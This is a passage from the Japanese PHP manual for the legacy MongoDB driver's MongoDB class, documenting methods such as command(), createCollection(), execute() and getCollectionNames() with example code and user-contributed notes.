1.8.0 より前は out 引数がオプションでした。指定しなければ、 MapReduce の結果はテンポラリコレクションに書き出されます。これは、 接続が閉じるときに削除されます。1.8.0 以降では out 引数が必須となります。詳細な情報は » MapReduce のドキュメント を参照ください。

例4 MongoDB::command() での "geoNear" の例

この例は、geoNear コマンドの使い方を示すものです。

<?php
$m = new MongoClient();
$d = $m->demo;
$c = $d->poiConcat;

$r = $d->command(array(
    'geoNear' => "poiConcat",      // poiConcat コレクション内を検索します
    'near' => array(-0.08, 51.48), // 北緯 51.48°、東経 0.08° 近辺を検索します
    'spherical' => true,           // 球状検索を有効にします
    'num' => 5,                    // 最大 5 件までの結果を返します
));
print_r($r);
?>

参考

  • MongoCollection::aggregate() - aggregation フレームワークを使って集約する
  • MongoCollection::findAndModify() - ドキュメントを更新して返す
  • MongoCollection::group() - SQL の GROUP BY コマンドと似た処理を行う

MongoDB コアドキュメントの » database commands

User Contributed Notes

nanhe dot kumar at gmail dot com 21-Aug-2013 09:41
$db=new new Mongo();

Copy old_db to new_db

$responseCopy = $db->admin->command(array(
    'copydb' => 1,
    'fromhost' => 'localhost',
    'fromdb' => 'old_db',
    'todb' =>'new_db'
    ));

Now drop old_db

if($responseCopy['ok']==1){
 $responseDrop=$db->old_db->command(array('dropDatabase' => 1));
 //OR
 $responseDrop =$db->old_db->drop();
}

Show Output

print_r($responseCopy);
print_r($responseDrop);

Output will be something like this

Array ( [ok] => 1 )
Array ( [dropped] => old_db [ok] => 1 )
mcuadros at gmail dot com 09-Apr-2013 11:13
Command of Mongo 2.4 Text Search feature.

<?php
$result = $db->command(
    array(
        'text' => 'bar', //this is the name of the collection where we are searching
        'search' => 'hotel', //the string to search
        'limit' => 5, //the number of results, by default is 1000
        'project' => Array( //the fields to retrieve from db
            'title' => 1
        )
    )
);
Anonymous 08-Jun-2011 04:18
> Need to know the database version? There's a command for that.

We didn't find it - ended up using either;

<?php
$m = new Mongo();

$adminDB = $m->admin; //require admin priviledge

$mongodb_info = $adminDB->command(array('buildinfo'=>true));
$mongodb_version = $mongodb_info['version'];

print_r($mongodb_info);
?>

or

<?php
$v = `mongo --version`;
print_r($v);
?>
roman dot drapeko at gmail dot com 16-Apr-2011 02:07
I tried to write MapReduce. Unfortunately, out => array('replace' => 'collName') did not work for me. Instead, the below code works

<?php
$mongo->command(array(
     'mapreduce' => 'events',
     'map' => $map,
     'reduce' => $reduce,
     'out' => 'mapReduceEventStats'
));
?>
Min He 21-Jul-2010 04:31
rename a collection:

<?php
$m = new Mongo();
$adminDB = $m->admin; //require admin priviledge

//rename collection 'colA' in db 'yourdbA' to collection 'colB' in another db 'yourdbB'

$res = $adminDB->command(array(
    "renameCollection" => "yourdbA.colA",
    "to" => "yourdbB.colB"
));

var_dump($res);
?>


新しいデータベースを作成する

  • ≪ MongoDB::command
  • MongoDB::createCollection ≫
  • PHP Manual
  • MongoDB
  • 新しいデータベースを作成する

MongoDB::__construct

(PECL mongo >=0.9.0)

MongoDB::__construct — 新しいデータベースを作成する

説明

public MongoDB::__construct ( MongoClient $conn , string $name )

このメソッドは、直接コールすることを想定したものではありません。 MongoDB のインスタンスを作成するための方法としておすすめするのは MongoClient::__get() あるいは MongoClient::selectDB() です。

上の説明を読んだうえで、それでも直接コールするつもりなら、このようにします。

<?php

$m = new MongoClient();
$db = new MongoDB($m, 'mydbname');

?>

でも、こっちのほうがずっとよいでしょう。

<?php

$m = new MongoClient();
$db = $m->mydbname;

// あるいは、名前の中に変わった文字が含まれているのならこちら

$db = $m->selectDB('my,db:name');

?>

パラメータ

MongoClient conn

データベース接続。

name

データベース名。

返り値

データベースを返します。

エラー / 例外

データベース名が無効な場合にデフォルトの例外をスローします。

User Contributed Notes

mike at eastghost dot com 03-Mar-2014 11:58
To use DICE (Dependency Injection Container) you'll need to use this format

// $Mongo = new \MongoClient( arrConnectionOptions );
// $Mdb = new \MongoDB( $Mongo, 'dbName' );
$dice->create( '\Mongo' );
$dice->create( '\Mdb' );

and not this one

$Mdb = $Mongo->dbName;


コレクションを作成する

  • ≪ MongoDB::__construct
  • MongoDB::createDBRef ≫
  • PHP Manual
  • MongoDB
  • コレクションを作成する

MongoDB::createCollection

(PECL mongo >=0.9.0)

MongoDB::createCollection — コレクションを作成する

説明

public MongoDB::createCollection ( string $name , array $options = ? ) : MongoCollection

このメソッドを使って、固定サイズのコレクションや 特別なオプションを要するその他のコレクションを作成します。 これは、次の操作と同じ意味です。

<?php

$collection = $db->command(array(
    "create" => $name,
    "capped" => $options["capped"],
    "size" => $options["size"],
    "max" => $options["max"],
    "autoIndexId" => $options["autoIndexId"],
));

?>
データベースコマンドについての詳細な情報は MongoDB::command() を参照ください。

パラメータ

name

コレクションの名前。

options

コレクションのオプションを含む配列。個々のオプション用の要素がこの配列に用意されており、 以下に挙げるオプション名が配列のキーになります。サポートするオプションは、 MongoDB サーバーのバージョンやストレージエンジンによって変わります。 また，ドライバーは、受け取ったオプションをすべてそのままサーバーに渡します。 現時点でサポートするオプションの一部を以下に示します。すべてのオプションの一覧は、 MongoDB コアドキュメントの » createCollection を参照ください。

capped

コレクションが固定サイズかどうか。

size

コレクションが固定サイズの場合にそのバイト数を指定します。

max

コレクションが固定サイズの場合に、コレクション内に格納できる要素の最大数。

autoIndexId

capped が true のときにこれを false にすると、_id フィールド上での自動的なインデックス作成を無効化できます。 MongoDB 2.2 より前のバージョンでは、 autoIndexId のデフォルト値は false でした。

返り値

新しいコレクションをあらわすコレクションオブジェクトを返します。

例

例1 MongoDB::createCollection() での固定サイズコレクションの例

固定サイズのコレクションは特別な形式のコレクションで、 固定長あるいは決まった数の要素を持ちます。 コレクションがいっぱいになると、 新しい要素が追加されたときにいちばん古いものから削除されていきます。 固定サイズのコレクションは、ログ記録などのアプリケーションで有用です。 ログ用の領域をいちど確保しておけば、それが大きくなりすぎることを気にせずにすみます。

この例は、最大で 10 のドキュメントを保持する小さなログコレクションを作ります。

<?php

$log = $db->createCollection(
    "logger",
    array(
        'capped' => true,
        'size' => 10*1024,
        'max' => 10
    )
);

for ($i = 0; $i < 100; $i++) {
    $log->insert(array("level" => WARN, "msg" => "sample log message #$i", "ts" => new MongoDate()));
}

$msgs = $log->find();

foreach ($msgs as $msg) {
    echo $msg['msg']."\n";
}

?>

上の例の出力は、 たとえば以下のようになります。

sample log message #90
sample log message #91
sample log message #92
sample log message #93
sample log message #94
sample log message #95
sample log message #96
sample log message #97
sample log message #98
sample log message #99

変更履歴

バージョン | 説明
PECL mongo 1.4.0 | 1.4.0 より前のバージョンでは、個々のオプションがすべてメソッドの引数になっていました。 旧バージョンのシグネチャは、次のとおりです。 public MongoDB::createCollection ( string $name , bool $capped = false , int $size = 0 , int $max = 0 ) : MongoCollection 各オプションの意味は、先ほど options 引数のところで説明したとおりです。

User Contributed Notes

There are no user contributed notes for this page.


データベース参照を作成する

  • ≪ MongoDB::createCollection
  • MongoDB::drop ≫
  • PHP Manual
  • MongoDB
  • データベース参照を作成する

MongoDB::createDBRef

(PECL mongo >=0.9.0)

MongoDB::createDBRef — データベース参照を作成する

説明

public MongoDB::createDBRef ( string $collection , mixed $document_or_id ) : array

このメソッドは、データベース参照を作るための柔軟なインターフェイスです (MongoDBRef を参照ください)。

パラメータ

collection

データベース参照が指すコレクション。

document_or_id

配列あるいはオブジェクトを渡した場合は、その _id フィールドを参照 ID として利用します。 MongoId あるいはスカラーを渡した場合は、 それ自体を参照 ID として利用します。

返り値

データベース参照配列を返します。

_id フィールドがない配列を document_or_id に渡した場合は、null を返します。

例

例1 MongoDB::createDBRef() の例

この例は、ドキュメントからデータベース参照配列を作成する方法を示します。

<?php

$articles = $db->articles;

$article = array(
 'title' => 'Test article',
 'description' => 'Test article description'
);

$articles->insert($article);
$ref = $db->createDBRef('articles', $article);

print_r($article);
print_r($ref);
?>

上の例の出力は、 たとえば以下のようになります。

     Array
     (
         [title] => Test article
         [description] => Test article description
         [_id] => MongoId Object
             (
             )

     )
     Array
     (
         [$ref] => articles
         [$id] => MongoId Object
             (
             )

     )

これで、別のドキュメントに $ref を格納して、それを後から MongoDB::getDBRef() や MongoCollection::getDBRef() で取得できるようになりました。

例2 MongoDB::createDBRef() の例

この例は、id からデータベース参照配列を作成する方法を示します。

<?php

$id = new MongoId('47cc67093475061e3d9536d2');
$ref = $db->createDBRef('articles', $id);
?>

User Contributed Notes

There are no user contributed notes for this page.


このデータベースを削除する

  • ≪ MongoDB::createDBRef
  • MongoDB::dropCollection ≫
  • PHP Manual
  • MongoDB
  • このデータベースを削除する

MongoDB::drop

(PECL mongo >=0.9.0)

MongoDB::drop — このデータベースを削除する

説明

public MongoDB::drop ( ) : array

これは、現在使っているデータベースを削除します。

次のコードと同じ意味です。

<?php

public function drop() {
    $this->command(array("dropDatabase" => 1));
}

?>

パラメータ

この関数にはパラメータはありません。

返り値

データベースの応答を返します。

例

例1 MongoDB::drop() の例

この例は、mongo データベースを削除する方法とその応答を示します。

<?php

$db = $mongo->foo;
$response = $db->drop();
print_r($response);

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [dropped] => foo.$cmd
    [ok] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


コレクションを削除する [非推奨]

  • ≪ MongoDB::drop
  • MongoDB::execute ≫
  • PHP Manual
  • MongoDB
  • コレクションを削除する [非推奨]

MongoDB::dropCollection

(PECL mongo >=0.9.0)

MongoDB::dropCollection — コレクションを削除する [非推奨]

説明

public MongoDB::dropCollection ( mixed $coll ) : array
警告

非推奨

かわりに MongoCollection::drop() を使ってください。

この関数は、バージョン 1.0.7 以前ではメモリリークが発生します!

パラメータ

coll

削除したい MongoCollection あるいはコレクション名。

返り値

データベースの応答を返します。

User Contributed Notes

There are no user contributed notes for this page.


JavaScript コードをデータベースサーバー上で実行する [非推奨]

  • ≪ MongoDB::dropCollection
  • MongoDB::forceError ≫
  • PHP Manual
  • MongoDB
  • JavaScript コードをデータベースサーバー上で実行する [非推奨]

MongoDB::execute

(PECL mongo >=0.9.3)

MongoDB::execute — JavaScript コードをデータベースサーバー上で実行する [非推奨]

説明

public MongoDB::execute ( mixed $code , array $args = array() ) : array
警告

このメソッドが実行する » eval コマンドは、 MongoDB 3.0+ では非推奨となりました。

Mongo データベースサーバーは JavaScript エンジンを持っています。 このメソッドを使うと、任意の JavaScript をデータベース上で実行することができます。 大量のコレクションの操作を軽量に行ったり、 結果に対する何らかの処理をデータベース側で行うことでクライアント側への送信量を減らしたり といった際に有用です。

データベース内での JavaScript の実行時には書き込みロックを取得します。 つまり、他の操作をブロックするということです。長いスクリプトを実行する前にはこのことを考慮しましょう。

これは、データベースコマンド » eval のラッパーで、次のコードと同じ意味です。

<?php

public function execute($code, $args) {
    return $this->command(array('eval' => $code, 'args' => $args));
}

?>

MongoDB は、ひとつの文を一行に書くと return 文があるものとみなします。 これは、あまり直感的でない振る舞いのもととなります。 たとえば、これは "foo" を返します。

<?php

$db->execute('"foo";');

?>

しかし、これらはどちらも null を返します。

<?php

$db->execute('"bar"; "foo";'); // 複数の文

$db->execute('db.foo.count(
);'); // 複数行

?>

この驚くべき振る舞いを回避するには、何を返すのかを MongoDB に決めさせるのではなく return する値を明示しておけばよいでしょう。 先ほどの例では、このように書き換えることができます。

<?php

$db->execute('"bar"; return "foo";');

$db->execute('return db.foo.count(
);');

?>

これで、最初の文は "foo" を返して 二番目の文は "foo" コレクションの数を返すようになります。

パラメータ

code

実行したい MongoCode あるいは文字列。

args

code に渡す引数。

返り値

評価した結果を返します。

例

例1 単純な MongoDB::execute() の例

<?php

$response = $db->execute("function() { return 'Hello, world!'; }");
echo $response['retval'];

?>

上の例の出力は、 たとえば以下のようになります。

Hello, world!

例2 パラメータつきの MongoDB::execute() の例

オプションのパラメータ配列を JavaScript の関数に渡します。

<?php

$response = $db->execute("function(greeting, name) { return greeting+', '+name+'!'; }", array("Good bye", "Joe"));
echo $response['retval'];

?>

上の例の出力は、 たとえば以下のようになります。

Good bye, Joe!

例3 スコープの例

文字列のかわりに MongoCode オブジェクトを最初のパラメータに使うと、 JavaScript を実行するスコープを渡すことができます。

<?php

$func =
    "function(greeting, name) { ".
        "return greeting+', '+name+', says '+greeter;".
    "}";
$scope = array("greeter" => "Fred");

$code = new MongoCode($func, $scope);

$response = $db->execute($code, array("Goodbye", "Joe"));
echo $response['retval'];

?>

上の例の出力は、 たとえば以下のようになります。

Goodbye, Joe, says Fred

参考

  • MongoDB の » eval コマンド のドキュメント

変更履歴

バージョン | 説明
PECL mongo 1.7.0 | このメソッドは非推奨になりました。内部で使っている » eval コマンドが、MongoDB 3.0 以降で非推奨になったためです。

User Contributed Notes

Nanhe Kumar 16-Nov-2013 08:00
$m = new MongoClient();
        $db = $m->test;

        $inset = "db.getCollection('foo').insert({'name':'nanhe','age':30});";
        $response = $db->execute($inset);
        print_r($response); //Array ( [retval] => [ok] => 1 )

        $response = $m->test->execute("db.getCollection('foo').insert({'name':'happy','age':18});");
        print_r($response); //Array ( [retval] => [ok] => 1 )

        $response = $m->test->execute("db.foo.insert({'name':'prince','age':16});");
        print_r($response); //Array ( [retval] => [ok] => 1 )

        $response= $m->test->execute("return db.foo.count();");
        print_r($response); //Array ( [retval] => 3 [ok] => 1 )

        $response= $m->test->execute("return db.foo.findOne();");
        print_r($response); //Array ( [retval] => Array ( [_id] => MongoId Object ( [$id] => 5287ccbe60e2eac9a0e2f1c6 ) [name] => nanhe [age] => 30 ) [ok] => 1 )

        /*
         * If you want use find function then use toArray because The find() function returns a cursor, which can't be returned from JavaScript.
         */
        $response= $m->test->execute("return db.foo.find().toArray();");
        print_r($response); //[$id] => 5287cd2260e2eac9a0e2f1ca ) [name] => happy [age] => 18 ) [2] => Array ( [_id] => MongoId Object ( [$id] => 5287cd2260e2eac9a0e2f1cb ) [name] => prince [age] => 16 ) [3] => Array ( [_id] => MongoId Object ( [$id] => 5287cdea60e2eac9a0e2f1cc ) [name] => nanhe [age] => 30 ) [4] => Array ( [_id] => MongoId Object ( [$id] => 5287cdea60e2eac9a0e2f1cd ) [name] => happy [age] => 18 ) [5] => Array ( [_id] => MongoId Object ( [$id] => 5287cdea60e2eac9a0e2f1ce ) [name] => prince [age] => 16 ) ) [ok] => 1 )

        $response= $m->test->execute("return db.foo.find({'name':'nanhe'}).toArray();");
        print_r($response); //Array ( [retval] => Array ( [0] => Array ( [_id] => MongoId Object ( [$id] => 5287ce9b60e2eac9a0e2f1d2 ) [name] => nanhe [age] => 30 ) ) [ok] => 1 )
        // $id value will be different in your case
nodkz at mail ru 06-Jun-2012 02:14
In 1.7.2, a nolock option was added to eval. To use nolock you have to use the command interface directly:

db.runCommand({$eval: function() {return 42;}, nolock: true})

or with args

db.runCommand({$eval: function(x,y) {return x*y;}, args: [6,7], nolock: true})


データベースのエラーを作成する

  • ≪ MongoDB::execute
  • MongoDB::__get ≫
  • PHP Manual
  • MongoDB
  • データベースのエラーを作成する

MongoDB::forceError

(PECL mongo >=0.9.5)

MongoDB::forceError — データベースのエラーを作成する

説明

public MongoDB::forceError ( ) : bool

MongoDB を普通に使っている限り、このメソッドはあまり有用ではありません。 このメソッドは、データベースにエラーを起こさせます。つまり、このコマンドを実行した後は、 MongoDB::lastError() が一般的なデータベースエラーを返すということです。

このコマンドは、次のコードと同じ意味です。

<?php

public function forceError() {
    return $this->command(array('forceerror' => 1));
}

?>

パラメータ

この関数にはパラメータはありません。

返り値

データベースからの応答を返します。

変更履歴

バージョン | 説明
PECL mongo 1.2.11 | E_DEPRECATED を発行するようになりました。

User Contributed Notes

There are no user contributed notes for this page.


コレクションを取得する

  • ≪ MongoDB::forceError
  • MongoDB::getCollectionInfo ≫
  • PHP Manual
  • MongoDB
  • コレクションを取得する

MongoDB::__get

(PECL mongo >=1.0.2)

MongoDB::__get — コレクションを取得する

説明

public MongoDB::__get ( string $name ) : MongoCollection

データベースオブジェクトからコレクションを取得するための最も簡単な方法です。 コレクション名に特殊な文字が含まれている場合は、かわりに MongoDB::selectCollection() を使います。

<?php

$mongo = new MongoClient();

// 次の 2 行はどちらも同じ意味です。
$collection = $mongo->selectDB("foo")->selectCollection("bar");
$collection = $mongo->foo->bar;

?>

パラメータ

name

コレクションの名前。

返り値

コレクションを返します。

User Contributed Notes

There are no user contributed notes for this page.


Returns information about collections in this database

  • ≪ MongoDB::__get
  • MongoDB::getCollectionNames ≫
  • PHP Manual
  • MongoDB
  • Returns information about collections in this database

MongoDB::getCollectionInfo

(PECL mongo >=1.6.0)

MongoDB::getCollectionInfo — Returns information about collections in this database

説明

public MongoDB::getCollectionInfo ( array $options = array() ) : array

Gets a list of all collections in the database and returns them as an array of documents, which contain their names and options.

注意: このメソッドは、MongoDB 2.8 以降と通信する際に、データベースコマンド » listCollections を利用します。以前のバージョンのデータベースの場合は、特別なコレクション system.namespaces を問い合わせます。

パラメータ

options

An array of options for listing the collections. Currently available options include:

  • "filter"

    オプションの問い合わせ条件。これを指定すると、結果に含まれるコレクションをその条件でフィルタリングします。

    問い合わせの対象となる関連フィールドには、"name" (コレクション名を表す文字列。データベース名のプレフィックスは含まない) や "options" (コレクションを作成するために用いるオプションを含むオブジェクト) があります。

    注意: MongoDB 2.6 以前のバージョンでは、"name" の条件指定には文字列しか使えませんでした (一致する文字列だけに絞り込むなど)。これは、ドライバが system.namespaces コレクションに問い合わせるときに、その値をデータベース名の先頭に付加する必要があったからです。最新版の MongoDB にはこの制約がなくなりました。listCollections コマンドを使うようになったからです。

  • "includeSystemCollections"

    Boolean で、デフォルトは false です。system コレクションを結果に含めるかどうかを指定します。

The following option may be used with MongoDB 2.8+:

  • "maxTimeMS"

    サーバー上で操作を行う累積時間の制限 (アイドル時間を含まない) を、ミリ秒単位で指定します。この時間内にサーバー側の操作が完了しなければ、MongoExecutionTimeoutException をスローします。

返り値

This function returns an array where each element is an array describing a collection. Elements will contain a name key denoting the name of the collection, and optionally contain an options key denoting an array of objects used to create the collection. For example, capped collections will include capped and size options.

エラー / 例外

For MongoDB 2.6 and earlier, MongoException will be thrown if a non-string value was specified for the "filter" option's "name" criteria.

例

例1 MongoDB::getCollectionInfo() example

<?php
$m = new MongoClient();
$db = $m->selectDB("demo");
var_dump($db->getCollectionInfo());
?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  [0]=>
  array(2) {
    ["name"]=>
    string(4) "logs"
    ["options"]=>
    array(2) {
      ["capped"]=>
      bool(true)
      ["size"]=>
      int(10240)
    }
  }
  [1]=>
  array(2) {
    ["name"]=>
    string(5) "users"
    ["options"]=>
    array(1) {
      ["flags"]=>
      int(1)
    }
  }
}

参考

  • MongoDB::getCollectionNames() - このデータベースのすべてのコレクション名の配列を取得する
  • MongoDB::listCollections() - このデータベース内のすべてのコレクションの MongoCollection オブジェクトの配列を取得する

User Contributed Notes

There are no user contributed notes for this page.


このデータベースのすべてのコレクション名の配列を取得する

  • ≪ MongoDB::getCollectionInfo
  • MongoDB::getDBRef ≫
  • PHP Manual
  • MongoDB
  • このデータベースのすべてのコレクション名の配列を取得する

MongoDB::getCollectionNames

(PECL mongo >=1.3.0)

MongoDB::getCollectionNames — このデータベースのすべてのコレクション名の配列を取得する

説明

public MongoDB::getCollectionNames ( array $options = array() ) : array

指定したデータベースのすべてのコレクションのリストを取得し、その名前を文字列の配列で返します。

注意: このメソッドは、MongoDB 2.8 以降と通信する際に、データベースコマンド » listCollections を利用します。以前のバージョンのデータベースの場合は、特別なコレクション system.namespaces を問い合わせます。

パラメータ

options

コレクションの一覧を取得する際のオプションの配列。現在利用可能なオプションは、以下のとおりです。

  • "filter"

    オプションの問い合わせ条件。これを指定すると、結果に含まれるコレクションをその条件でフィルタリングします。

    問い合わせの対象となる関連フィールドには、"name" (コレクション名を表す文字列。データベース名のプレフィックスは含まない) や "options" (コレクションを作成するために用いるオプションを含むオブジェクト) があります。

    注意: MongoDB 2.6 以前のバージョンでは、"name" の条件指定には文字列しか使えませんでした (一致する文字列だけに絞り込むなど)。これは、ドライバが system.namespaces コレクションに問い合わせるときに、その値をデータベース名の先頭に付加する必要があったからです。最新版の MongoDB にはこの制約がなくなりました。listCollections コマンドを使うようになったからです。

  • "includeSystemCollections"

    Boolean で、デフォルトは false です。system コレクションを結果に含めるかどうかを指定します。

以下のオプションは、MongoDB 2.8 以降で利用可能です。

  • "maxTimeMS"

    サーバー上で操作を行う累積時間の制限 (アイドル時間を含まない) を、ミリ秒単位で指定します。この時間内にサーバー側の操作が完了しなければ、MongoExecutionTimeoutException をスローします。

返り値

コレクションの名前を文字列の配列で返します。

エラー / 例外

MongoDB 2.6 およびそれ以前のバージョンでは、 "filter" オプションの "name" に文字列以外の値を指定した場合に MongoException をスローします。

変更履歴

バージョン | 説明
PECL mongo 1.6.0 | 最初のパラメータがオプションの配列に変わりました。以前のバージョンでは最初のパラメータは boolean で、 "includeSystemCollections" オプションの値を指定するものでした。

例

例1 MongoDB::getCollectionNames() の例

<?php
$m = new MongoClient();
$db = $m->selectDB("demo");
$collections = $db->getCollectionNames();

foreach ($collections as $collectionName) {
    echo "Found collection: ", $collectionName, "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

...
Found collection: img
Found collection: beer
Found collection: collation
...

参考

  • MongoDB::listCollections() - このデータベース内のすべてのコレクションの MongoCollection オブジェクトの配列を取得する
  • MongoDB::getCollectionInfo() - Returns information about collections in this database

User Contributed Notes

There are no user contributed notes for this page.


データベース参照が指すドキュメントを取得する

  • ≪ MongoDB::getCollectionNames
  • MongoDB::getGridFS ≫
  • PHP Manual
  • MongoDB
  • データベース参照が指すドキュメントを取得する

MongoDB::getDBRef

(PECL mongo >=0.9.0)

MongoDB::getDBRef — データベース参照が指すドキュメントを取得する

説明

public MongoDB::getDBRef ( array $ref ) : array

パラメータ

ref

データベース参照。

返り値

参照が指すドキュメントを返します。

例

例1 MongoDB::getDBRef() の例

この例は、データベース参照を取得してその入力が何であるかを知る方法を示します。

<?php

 $ref = array(
   '$ref' => 'profiles',
   '$id' => new MongoId('47cc67093475061e3d9536d2')
 );

 $profile = $db->getDBRef($ref);
 ?>

データベース参照を作る方法についての詳細な情報は MongoDB::createDBRef() を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


このデータベースに格納されているファイルを扱うためのツールキットを取得する

  • ≪ MongoDB::getDBRef
  • MongoDB::getProfilingLevel ≫
  • PHP Manual
  • MongoDB
  • このデータベースに格納されているファイルを扱うためのツールキットを取得する

MongoDB::getGridFS

(PECL mongo >=0.9.0)

MongoDB::getGridFS — このデータベースに格納されているファイルを扱うためのツールキットを取得する

説明

public MongoDB::getGridFS ( string $prefix = "fs" ) : MongoGridFS

パラメータ

prefix arg1

ファイルやチャンクのコレクションのプレフィックス。

返り値

このデータベースの新しい gridfs オブジェクトを返します。

例

例1 MongoDB::getGridFS() の例

この例は、MongoGridFS のインスタンスを取得する方法を示します。

<?php

$db = $mongo->my_db;

$prefix = 'files';
$collection = $db->getGridFS($prefix);

?>

MongoDB にファイルを格納する方法についての詳細は MongoGridFS を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


このデータベースのプロファイリングレベルを取得する

  • ≪ MongoDB::getGridFS
  • MongoDB::getReadPreference ≫
  • PHP Manual
  • MongoDB
  • このデータベースのプロファイリングレベルを取得する

MongoDB::getProfilingLevel

(PECL mongo >=0.9.0)

MongoDB::getProfilingLevel — このデータベースのプロファイリングレベルを取得する

説明

public MongoDB::getProfilingLevel ( ) : int

現在のデータベースのプロファイリングレベルを返します。

データベースプロファイラは、クエリの実行時間を調べます。これを (MongoDB::setProfilingLevel() やシェルを使って) 有効にすると、 指定したミリ秒を超える時間がかかったクエリの数や 全クエリの実行時間を取得できます。

プロファイリングを実行するとクエリの所要時間が長くなるので、 実行速度が重要なアプリケーションでは開発時やテスト時に使うことをおすすめします。

この関数は、以下のコードと同じ意味です。

<?php

public function getProfilingLevel() {
    return $this->command(array('profile' => -1));
}

?>

パラメータ

この関数にはパラメータはありません。

返り値

プロファイリングレベルを返します。

参考

  • MongoDB コアドキュメントの » profiling
  • MongoDB::setProfilingLevel() - このデータベースのプロファイリングレベルを設定する

User Contributed Notes

There are no user contributed notes for this page.


このデータベースの優先読み込みを取得する

  • ≪ MongoDB::getProfilingLevel
  • MongoDB::getSlaveOkay ≫
  • PHP Manual
  • MongoDB
  • このデータベースの優先読み込みを取得する

MongoDB::getReadPreference

(PECL mongo >=1.3.0)

MongoDB::getReadPreference — このデータベースの優先読み込みを取得する

説明

public MongoDB::getReadPreference ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

この関数は、優先読み込みに関する配列を返します。配列に含まれる内容は、type (優先読み込みモードを表す文字列。MongoClient の定数に対応)、そして tagsets (すべてのタグセット条件のリスト) です。タグセットを指定しなかった場合は、tagsets は存在しません。

変更履歴

バージョン | 説明
PECL mongo 1.3.3 | 返り値が変わり、 MongoDB::setReadPreference() との整合性があるものになりました。 type の値は数字から文字列に変わり、 type_string は削除され、そして tagsets はコロン区切りの文字列ではなくキー/値のペアでタグを表すようになりました。

例

例1 MongoDB::getReadPreference() の返り値の例

<?php

$m = new MongoClient();
$db = $m->test;
$db->setReadPreference(MongoClient::RP_SECONDARY, array(
    array('dc' => 'east', 'use' => 'reporting'),
    array('dc' => 'west'),
    array(),
));
var_dump($db->getReadPreference());
?>

上の例の出力は以下となります。

array(2) {
  ["type"]=>
  string(9) "secondary"
  ["tagsets"]=>
  array(3) {
    [0]=>
    array(2) {
      ["dc"]=>
      string(4) "east"
      ["use"]=>
      string(9) "reporting"
    }
    [1]=>
    array(1) {
      ["dc"]=>
      string(7) "west"
    }
    [2]=>
    array(0) {
    }
  }
}

参考

  • 優先読み込みのドキュメント
  • MongoDB::setReadPreference() - このデータベースの優先読み込みを設定する

User Contributed Notes

There are no user contributed notes for this page.


このデータベースの slaveOkay 設定を取得する

  • ≪ MongoDB::getReadPreference
  • MongoDB::getWriteConcern ≫
  • PHP Manual
  • MongoDB
  • このデータベースの slaveOkay 設定を取得する

MongoDB::getSlaveOkay

(PECL mongo >=1.1.0)

MongoDB::getSlaveOkay — このデータベースの slaveOkay 設定を取得する

説明

public MongoDB::getSlaveOkay ( ) : bool

読み込みのセカンダリへの分散についての情報は、このマニュアルの 問い合わせの節 を参照ください。

パラメータ

この関数にはパラメータはありません。

返り値

このインスタンスの slaveOkay の値を返します。

変更履歴

バージョン | 説明
PECL mongo 1.2.11 | E_DEPRECATED を発行するようになりました。

参考

  • 優先読み込み
  • MongoDB::getReadPreference() - このデータベースの優先読み込みを取得する
  • MongoDB::setReadPreference() - このデータベースの優先読み込みを設定する

User Contributed Notes

There are no user contributed notes for this page.


Get the write concern for this database

  • ≪ MongoDB::getSlaveOkay
  • MongoDB::lastError ≫
  • PHP Manual
  • MongoDB
  • Get the write concern for this database

MongoDB::getWriteConcern

(PECL mongo >=1.5.0)

MongoDB::getWriteConcern — Get the write concern for this database

説明

public MongoDB::getWriteConcern ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

この関数は、書き込み確認を表す配列を返します。w の値はサーバーの台数を表す整数値かモードを表す文字列、そして wtimeout の値はサーバーが書き込み確認を待つ最大ミリ秒数です。

例

例1 MongoDB::getWriteConcern() return value example

<?php

$mc = new MongoClient('mongodb://localhost:27017', array('wTimeoutMS' => 500));
$db = $mc->selectDB('test');
var_dump($db->getWriteConcern());

$db->setWriteConcern(1, 1000);
var_dump($db->getWriteConcern());
?>

上の例の出力は以下となります。

array(2) {
  ["w"]=>
  int(1)
  ["wtimeout"]=>
  int(500)
}
array(2) {
  ["w"]=>
  int(1)
  ["wtimeout"]=>
  int(1000)
}

参考

  • The write concern documentation.
  • MongoDB::setWriteConcern() - Set the write concern for this database

User Contributed Notes

There are no user contributed notes for this page.


直近のデータベース操作でエラーが発生したかどうかを調べる

  • ≪ MongoDB::getWriteConcern
  • MongoDB::listCollections ≫
  • PHP Manual
  • MongoDB
  • 直近のデータベース操作でエラーが発生したかどうかを調べる

MongoDB::lastError

(PECL mongo >=0.9.5)

MongoDB::lastError — 直近のデータベース操作でエラーが発生したかどうかを調べる

説明

public MongoDB::lastError ( ) : array

このメソッドは次のコードと同じ意味です。

<?php

public function lastError() {
    return $this->command(array('getlasterror' => 1));
}

?>

パラメータ

この関数にはパラメータはありません。

返り値

エラーがあった場合はそれを返します。

例

例1 MongoDB::lastError() の null の例

<?php
$db->resetError();
var_dump($db->lastError());
?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  ["err"]=>
  NULL
  ["n"]=>
  int(0)
  ["ok"]=>
  float(1)
}

例2 MongoDB::lastError() のキー重複の例

<?php
$c = $db->selectCollection("foo");

// 同じ _id のふたつのドキュメントを追加します
$c->insert(array("_id" => 1));
$c->insert(array("_id" => 1));

var_dump($db->lastError());
?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  ["err"]=>
  string(64) "E11000 duplicate key errorindex: foo.foo.$_id_  dup key: { : 1 }"
  ["n"]=>
  int(0)
  ["ok"]=>
  float(1)
}

User Contributed Notes

There are no user contributed notes for this page.


このデータベース内のすべてのコレクションの MongoCollection オブジェクトの配列を取得する

  • ≪ MongoDB::lastError
  • MongoDB::prevError ≫
  • PHP Manual
  • MongoDB
  • このデータベース内のすべてのコレクションの MongoCollection オブジェクトの配列を取得する

MongoDB::listCollections

(PECL mongo >=0.9.0)

MongoDB::listCollections — このデータベース内のすべてのコレクションの MongoCollection オブジェクトの配列を取得する

説明

public MongoDB::listCollections ( array $options = array() ) : array

データベース内のすべてのコレクションのリストを取得し、 MongoCollection オブジェクトの配列で返します。

注意: このメソッドは、MongoDB 2.8 以降と通信する際に、データベースコマンド » listCollections を利用します。以前のバージョンのデータベースの場合は、特別なコレクション system.namespaces を問い合わせます。

パラメータ

options

